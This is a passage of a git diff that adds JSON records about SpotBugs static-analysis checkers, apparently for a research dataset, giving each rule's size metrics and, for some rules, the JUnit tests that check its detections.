"expected-linenumbers": [ + 211, + 215 + ], + "code": "@Test\n void testGoodConstructorThrowCheck7() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest7.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck8", + "expected-problems": null, + "expected-linenumbers": [ + 217, + 221 + ], + "code": "@Test\n void testGoodConstructorThrowCheck8() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest8.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck9", + "expected-problems": null, + "expected-linenumbers": [ + 223, + 227 + ], + "code": "@Test\n void testGoodConstructorThrowCheck9() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest9.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck10", + "expected-problems": null, + "expected-linenumbers": [ + 229, + 233 + ], + "code": "@Test\n void testGoodConstructorThrowCheck10() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest10.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck11", + "expected-problems": null, + "expected-linenumbers": [ + 235, + 239 + ], + "code": "@Test\n void testGoodConstructorThrowCheck11() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest11.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck12", + "expected-problems": null, + "expected-linenumbers": [ + 241, + 245 + ], + "code": "@Test\n void testGoodConstructorThrowCheck12() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest12.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck13", + "expected-problems": null, + "expected-linenumbers": [ + 247, + 252 + ], + "code": "@Test\n void testGoodConstructorThrowCheck13() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest12.class\",\n \"constructorthrow/ConstructorThrowNegativeTest13.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck14", + "expected-problems": null, + "expected-linenumbers": [ + 254, + 258 + ], + "code": "@Test\n void testGoodConstructorThrowCheck14() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest14.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck15", + "expected-problems": null, + "expected-linenumbers": [ + 260, + 264 + ], + "code": "@Test\n void testGoodConstructorThrowCheck15() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest15.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck16", + "expected-problems": null, + "expected-linenumbers": [ + 266, + 270 + ], + "code": "@Test\n void testGoodConstructorThrowCheck16() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest16.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck17", + "expected-problems": null, + "expected-linenumbers": [ + 272, + 276 + ], + "code": "@Test\n void testGoodConstructorThrowCheck17() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest17.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck18", + "expected-problems": null, + "expected-linenumbers": [ + 278, + 282 + ], + "code": "@Test\n void testGoodConstructorThrowCheck18() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest18.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck19", + "expected-problems": null, + "expected-linenumbers": [ + 284, + 288 + ], + "code": "@Test\n void testGoodConstructorThrowCheck19() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest19.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck20", + "expected-problems": null, + "expected-linenumbers": [ + 290, + 294 + ], + "code": "@Test\n void testGoodConstructorThrowCheck20() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest20.class\");\n assertNoBugType(CT_THROW);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CovariantArrayAssignment.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CovariantArrayAssignment.json new file mode 100644 index 0000000..5ecd80a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CovariantArrayAssignment.json @@ -0,0 +1,13 @@ +{ + "name": "CovariantArrayAssignment", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 191, + "branches": 33, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CrossSiteScripting.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CrossSiteScripting.json new file mode 100644 index 0000000..c1fab20 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CrossSiteScripting.json @@ -0,0 +1,13 @@ +{ + "name": "CrossSiteScripting", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 261, + "branches": 38, + "apis": 88, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DateFormatStringChecker.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DateFormatStringChecker.json new file mode 100644 index 0000000..83f19ba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DateFormatStringChecker.json @@ -0,0 +1,13 @@ +{ + "name": "DateFormatStringChecker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 194, + "branches": 21, + "apis": 48, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DeadLocalStoreProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DeadLocalStoreProperty.json new file mode 100644 index 0000000..d1f0be4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DeadLocalStoreProperty.json @@ -0,0 +1,13 @@ +{ + "name": "DeadLocalStoreProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 122, + "branches": 1, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DefaultEncodingDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DefaultEncodingDetector.json new file mode 100644 index 0000000..82551dd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DefaultEncodingDetector.json @@ -0,0 +1,13 @@ +{ + "name": "DefaultEncodingDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 187, + "branches": 8, + "apis": 45, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DoInsideDoPrivileged.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DoInsideDoPrivileged.json new file mode 100644 index 0000000..0de9c98 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DoInsideDoPrivileged.json @@ -0,0 +1,13 @@ +{ + "name": "DoInsideDoPrivileged", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 97, + "branches": 10, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontAssertInstanceofInTests.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontAssertInstanceofInTests.json new file mode 100644 index 0000000..247ebf1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontAssertInstanceofInTests.json @@ -0,0 +1,13 @@ +{ + "name": "DontAssertInstanceofInTests", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 10, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontCatchIllegalMonitorStateException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontCatchIllegalMonitorStateException.json new file mode 100644 index 0000000..75363d9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontCatchIllegalMonitorStateException.json @@ -0,0 +1,13 @@ +{ + "name": "DontCatchIllegalMonitorStateException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 10, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontCatchNullPointerException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontCatchNullPointerException.json new file mode 100644 index 0000000..98808f9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontCatchNullPointerException.json @@ -0,0 +1,13 @@ +{ + "name": "DontCatchNullPointerException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 45, + "branches": 2, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontIgnoreResultOfPutIfAbsent.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontIgnoreResultOfPutIfAbsent.json new file mode 100644 index 0000000..72315d5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontIgnoreResultOfPutIfAbsent.json @@ -0,0 +1,13 @@ +{ + "name": "DontIgnoreResultOfPutIfAbsent", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 289, + "branches": 36, + "apis": 71, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontReusePublicIdentifiers.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontReusePublicIdentifiers.json new file mode 100644 index 0000000..fd98019 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontReusePublicIdentifiers.json @@ -0,0 +1,86 @@ +{ + "name": "DontReusePublicIdentifiers", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 124, + "branches": 14, + "apis": 32, + "test": [ + { + "description": "testShadowedPublicIdentifiersClassNames", + "expected-problems": null, + "expected-linenumbers": [ + 13, + 39 + ], + "code": "@Test\n void testShadowedPublicIdentifiersClassNames() {\n // check shadowed public identifiers as standalone classes\n performAnalysis(\"publicIdentifiers/standalone/InputStream.class\");\n assertBugTypeCount(PI_CLASS_BUG, 1);\n assertBugInClass(PI_CLASS_BUG, \"InputStream\");\n\n // check shadowed public identifiers as inner classes\n performAnalysis(\"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames$Vector.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames$Buffer.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames$File.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames$BigInteger.class\");\n assertBugTypeCount(PI_CLASS_BUG, 4);\n assertBugInClass(PI_CLASS_BUG, \"ShadowedPublicIdentifiersInnerClassNames$Vector\");\n assertBugInClass(PI_CLASS_BUG, \"ShadowedPublicIdentifiersInnerClassNames$Buffer\");\n assertBugInClass(PI_CLASS_BUG, \"ShadowedPublicIdentifiersInnerClassNames$File\");\n assertBugInClass(PI_CLASS_BUG, \"ShadowedPublicIdentifiersInnerClassNames$BigInteger\");\n\n // check shadowed public identifiers as repeatedly nested classes\n performAnalysis(\"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames2.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames2$List.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames2$List$Node.class\");\n assertBugTypeCount(PI_CLASS_BUG, 2);\n assertBugInClass(PI_CLASS_BUG, \"ShadowedPublicIdentifiersInnerClassNames2$List\");\n assertBugInClass(PI_CLASS_BUG, \"ShadowedPublicIdentifiersInnerClassNames2$List$Node\");\n }" + }, + { + "description": "testGoodPublicIdentifiersClassNames", + "expected-problems": null, + "expected-linenumbers": [ + 41, + 65 + ], + "code": "@Test\n void testGoodPublicIdentifiersClassNames() {\n // check good public identifiers as standalone classes\n performAnalysis(\"publicIdentifiers/standalone/GoodPublicIdentifiersStandaloneClassNames.class\");\n assertZeroPublicIdentifierBug();\n\n // check good public identifiers as inner classes\n performAnalysis(\"publicIdentifiers/inner/GoodPublicIdentifiersInnerClassNames.class\",\n \"publicIdentifiers/inner/GoodPublicIdentifiersInnerClassNames$MyBuffer.class\",\n \"publicIdentifiers/inner/GoodPublicIdentifiersInnerClassNames$MyFile.class\",\n \"publicIdentifiers/inner/GoodPublicIdentifiersInnerClassNames$MyBigInteger.class\");\n assertZeroPublicIdentifierBug();\n\n // check inner classes imported from the standard library\n performAnalysis(\"publicIdentifiers/inner/GoodPublicIdentifiersInnerClassNames2.class\");\n assertZeroPublicIdentifierBug();\n\n performAnalysis(\"publicIdentifiers/inner/GoodPublicIdentifiersInnerClassNames3.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames$BigInteger.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames$Buffer.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames$File.class\",\n \"publicIdentifiers/inner/ShadowedPublicIdentifiersInnerClassNames$Vector.class\");\n assertZeroPublicIdentifierBugInClass(\"GoodPublicIdentifiersInnerClassNames3\");\n }" + }, + { + "description": "testShadowedPublicIdentifiersFieldNames", + "expected-problems": null, + "expected-linenumbers": [ + 67, + 73 + ], + "code": "@Test\n void testShadowedPublicIdentifiersFieldNames() {\n performAnalysis(\"publicIdentifiers/ShadowedPublicIdentifiersFieldNames.class\");\n assertBugTypeCount(PI_FIELD_BUG, 2);\n assertBugAtField(PI_FIELD_BUG, \"ShadowedPublicIdentifiersFieldNames\", \"String\");\n assertBugAtField(PI_FIELD_BUG, \"ShadowedPublicIdentifiersFieldNames\", \"Integer\");\n }" + }, + { + "description": "testGoodPublicIdentifiersFieldNames", + "expected-problems": null, + "expected-linenumbers": [ + 75, + 79 + ], + "code": "@Test\n void testGoodPublicIdentifiersFieldNames() {\n performAnalysis(\"publicIdentifiers/GoodPublicIdentifiersFieldNames.class\");\n assertZeroPublicIdentifierBug();\n }" + }, + { + "description": "testShadowedPublicIdentifiersMethodNames", + "expected-problems": null, + "expected-linenumbers": [ + 81, + 89 + ], + "code": "@Test\n void testShadowedPublicIdentifiersMethodNames() {\n performAnalysis(\"publicIdentifiers/ShadowedPublicIdentifiersMethodNames.class\");\n assertBugTypeCount(PI_METHOD_BUG, 3);\n\n assertBugInMethodAtLine(PI_METHOD_BUG, \"ShadowedPublicIdentifiersMethodNames\", \"InputStream\", 5);\n assertBugInMethodAtLine(PI_METHOD_BUG, \"ShadowedPublicIdentifiersMethodNames\", \"Integer\", 9);\n assertBugInMethodAtLine(PI_METHOD_BUG, \"ShadowedPublicIdentifiersMethodNames\", \"ArrayList\", 14);\n }" + }, + { + "description": "testGoodPublicIdentifiersMethodNames", + "expected-problems": null, + "expected-linenumbers": [ + 91, + 102 + ], + "code": "@Test\n void testGoodPublicIdentifiersMethodNames() {\n performAnalysis(\"publicIdentifiers/GoodPublicIdentifiersMethodNames.class\");\n assertZeroPublicIdentifierBug();\n\n // check that the overridden method is detected only once inside superclass\n performAnalysis(\"publicIdentifiers/ShadowedPublicIdentifiersOverriddenMethods.class\",\n \"publicIdentifiers/ShadowedPublicIdentifiersOverridableMethods.class\");\n\n assertBugTypeCount(PI_METHOD_BUG, 1);\n assertBugInMethodAtLine(PI_METHOD_BUG, \"ShadowedPublicIdentifiersOverridableMethods\", \"ArrayList\", 5);\n }" + }, + { + "description": "testShadowedPublicIdentifiersVariableNames", + "expected-problems": null, + "expected-linenumbers": [ + 104, + 112 + ], + "code": "@Test\n void testShadowedPublicIdentifiersVariableNames() {\n performAnalysis(\"publicIdentifiers/ShadowedPublicIdentifiersVariableNames.class\");\n assertBugTypeCount(PI_VARIABLE_BUG, 3);\n\n assertBugInMethodAtVariable(PI_VARIABLE_BUG, \"ShadowedPublicIdentifiersVariableNames\", \"containsShadowedLocalVariable1\", \"ArrayList\");\n assertBugInMethodAtVariable(PI_VARIABLE_BUG, \"ShadowedPublicIdentifiersVariableNames\", \"containsShadowedLocalVariable2\", \"Integer\");\n assertBugInMethodAtVariable(PI_VARIABLE_BUG, \"ShadowedPublicIdentifiersVariableNames\", \"containsShadowedLocalVariable3\", \"File\");\n }" + }, + { + "description": "testGoodPublicIdentifiersVariableNames", + "expected-problems": null, + "expected-linenumbers": [ + 114, + 118 + ], + "code": "@Test\n void testGoodPublicIdentifiersVariableNames() {\n performAnalysis(\"publicIdentifiers/GoodPublicIdentifiersVariableNames.class\");\n assertZeroPublicIdentifierBug();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontUseEnum.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontUseEnum.json new file mode 100644 index 0000000..f3d4e12 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontUseEnum.json @@ -0,0 +1,13 @@ +{ + "name": "DontUseEnum", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 5, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontUseFloatsAsLoopCounters.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontUseFloatsAsLoopCounters.json new file mode 100644 index 0000000..5018ab5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DontUseFloatsAsLoopCounters.json @@ -0,0 +1,23 @@ +{ + "name": "DontUseFloatsAsLoopCounters", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 99, + "branches": 4, + "apis": 49, + "test": [ + { + "description": "testChecks", + "expected-problems": null, + "expected-linenumbers": [ + 9, + 17 + ], + "code": "@Test\n void testChecks() {\n performAnalysis(\"DontUseFloatsAsLoopCounters.class\");\n assertBugTypeCount(\"FL_FLOATS_AS_LOOP_COUNTERS\", 3);\n\n assertBugInMethodAtLine(\"FL_FLOATS_AS_LOOP_COUNTERS\", \"DontUseFloatsAsLoopCounters\", \"test1\", 8);\n assertBugInMethodAtLine(\"FL_FLOATS_AS_LOOP_COUNTERS\", \"DontUseFloatsAsLoopCounters\", \"test2\", 15);\n assertBugInMethodAtLine(\"FL_FLOATS_AS_LOOP_COUNTERS\", \"DontUseFloatsAsLoopCounters\", \"test3\", 21);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DoomedCodeWarningProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DoomedCodeWarningProperty.json new file mode 100644 index 0000000..b522b22 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DoomedCodeWarningProperty.json @@ -0,0 +1,13 @@ +{ + "name": "DoomedCodeWarningProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DroppedException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DroppedException.json new file mode 100644 index 0000000..1da3bf1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DroppedException.json @@ -0,0 +1,13 @@ +{ + "name": "DroppedException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 538, + "branches": 114, + "apis": 101, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DumbMethodInvocations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DumbMethodInvocations.json new file mode 100644 index 0000000..90d1eb4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DumbMethodInvocations.json @@ -0,0 +1,13 @@ +{ + "name": "DumbMethodInvocations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 202, + "branches": 28, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DumbMethods.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DumbMethods.json new file mode 100644 index 0000000..a1a3fef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DumbMethods.json @@ -0,0 +1,13 @@ +{ + "name": "DumbMethods", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1605, + "branches": 302, + "apis": 543, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DuplicateBranches.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DuplicateBranches.json new file mode 100644 index 0000000..2ead1a5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/DuplicateBranches.json @@ -0,0 +1,13 @@ +{ + "name": "DuplicateBranches", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 422, + "branches": 83, + "apis": 101, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/EmptyZipFileEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/EmptyZipFileEntry.json new file mode 100644 index 0000000..5edf579 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/EmptyZipFileEntry.json @@ -0,0 +1,13 @@ +{ + "name": "EmptyZipFileEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 5, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/EqualsOperandShouldHaveClassCompatibleWithThis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/EqualsOperandShouldHaveClassCompatibleWithThis.json new file mode 100644 index 0000000..93c30d0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/EqualsOperandShouldHaveClassCompatibleWithThis.json @@ -0,0 +1,13 @@ +{ + "name": "EqualsOperandShouldHaveClassCompatibleWithThis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 134, + "branches": 15, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ExplicitSerialization.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ExplicitSerialization.json new file mode 100644 index 0000000..6a7d586 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ExplicitSerialization.json @@ -0,0 +1,13 @@ +{ + "name": "ExplicitSerialization", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 126, + "branches": 16, + "apis": 32, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FieldItemSummary.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FieldItemSummary.json new file mode 100644 index 0000000..9a1fed7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FieldItemSummary.json @@ -0,0 +1,13 @@ +{ + "name": "FieldItemSummary", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 160, + "branches": 23, + "apis": 44, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FinalizerNullsFields.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FinalizerNullsFields.json new file mode 100644 index 0000000..b32b438 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FinalizerNullsFields.json @@ -0,0 +1,13 @@ +{ + "name": "FinalizerNullsFields", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 92, + "branches": 8, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindArgumentAssertions.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindArgumentAssertions.json new file mode 100644 index 0000000..20a7a5d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindArgumentAssertions.json @@ -0,0 +1,23 @@ +{ + "name": "FindArgumentAssertions", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 159, + "branches": 38, + "apis": 12, + "test": [ + { + "description": "testArgumentAssertions", + "expected-problems": null, + "expected-linenumbers": [ + 12, + 50 + ], + "code": "@Test\n void testArgumentAssertions() {\n performAnalysis(\"ArgumentAssertions.class\");\n\n assertBugTypeCount(BUG_TYPE, 23);\n\n assertDABug(\"getAbsAdd\", 4);\n assertDABug(\"getAbsAdd\", 5);\n assertDABug(\"getAbsAdd2\", 14);\n assertDABug(\"getAbsAdd2\", 15);\n assertDABug(\"getAbsAdd3\", 28);\n assertDABug(\"getAbsAdd3\", 29);\n assertDABug(\"getAbsAdd3\", 30);\n assertDABug(\"getAbsAdd4\", 39);\n assertDABug(\"print\", 47);\n assertDABug(\"indirect\", 59);\n assertDABug(\"compBool1\", 64);\n assertDABug(\"compBool2\", 70);\n assertDABug(\"getAbs\", 76);\n assertDABug(\"getAbs\", 83);\n assertDABug(\"compShor\", 90);\n assertDABug(\"getAbs\", 96);\n assertDABug(\"compLong\", 103);\n assertDABug(\"getAbs\", 109);\n assertDABug(\"compFloat\", 116);\n assertDABug(\"getAbs\", 122);\n assertDABug(\"compDouble\", 129);\n assertDABug(\"indirect\", 136);\n // assertDABug(\"indirect2\", 143); -- indirect assertions of arguments are not supported yet (except copies)\n assertNoBugInMethod(BUG_TYPE, \"ArgumentAssertions\", \"literal\");\n assertNoBugInMethod(BUG_TYPE, \"ArgumentAssertions\", \"literalAndMessage\");\n assertNoBugInMethod(BUG_TYPE, \"ArgumentAssertions\", \"literalAndMessageStr\");\n assertNoBugInMethod(BUG_TYPE, \"ArgumentAssertions\", \"conditionallyInMessage\");\n assertNoBugInMethod(BUG_TYPE, \"ArgumentAssertions\", \"privateMethod\");\n assertNoBugInMethod(BUG_TYPE, \"ArgumentAssertions\", \"privateFinalMethod\");\n assertNoBugInMethod(BUG_TYPE, \"ArgumentAssertions\", \"privateStaticMethod\");\n assertDABug(\"assertingArgInFor\", 198);\n // assertDABug(\"lambda$assertingArgInStream$0\", 206); // assertions inside streams are not supported yet\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindAssertionsWithSideEffects.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindAssertionsWithSideEffects.json new file mode 100644 index 0000000..3897e42 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindAssertionsWithSideEffects.json @@ -0,0 +1,23 @@ +{ + "name": "FindAssertionsWithSideEffects", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 7, + "apis": 9, + "test": [ + { + "description": "testArgumentAssertions", + "expected-problems": null, + "expected-linenumbers": [ + 9, + 21 + ], + "code": "@Test\n void testArgumentAssertions() {\n performAnalysis(\"AssertionsWithSideEffects.class\",\n \"AssertionsWithSideEffects$ImmutableList.class\");\n\n assertBugTypeCount(\"ASE_ASSERTION_WITH_SIDE_EFFECT\", 3);\n assertBugTypeCount(\"ASE_ASSERTION_WITH_SIDE_EFFECT_METHOD\", 1);\n\n assertBugInMethodAtLine(\"ASE_ASSERTION_WITH_SIDE_EFFECT\", \"AssertionsWithSideEffects\", 